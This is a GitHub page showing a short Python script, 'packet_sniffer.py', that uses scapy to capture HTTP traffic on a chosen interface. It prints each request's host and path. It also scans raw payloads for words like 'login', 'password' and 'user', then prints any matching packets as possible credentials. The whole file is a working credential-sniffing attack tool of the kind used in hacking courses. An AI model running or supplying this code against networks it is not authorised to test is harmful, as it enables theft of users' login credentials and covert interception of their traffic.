-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathpacket_sniffer.py
41 lines (29 loc) · 1.08 KB
/
packet_sniffer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import scapy.all as scapy
from scapy_http import http
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", dest="interface",
help="Interface name")
options = parser.parse_args()
return options
def sniff_packet(interface):
scapy.sniff(iface=interface, store=False, prn=process_packets)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_credentials(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["login", "password", "username", "user", "pass"]
for keyword in keywords:
if keyword in load:
return load
def process_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] Http Request >> " + url)
credentials = get_credentials(packet)
if credentials:
print("[+] Possible username/passowrd " + credentials + "\n\n")
options = get_arguments()
sniff_packet(options.interface)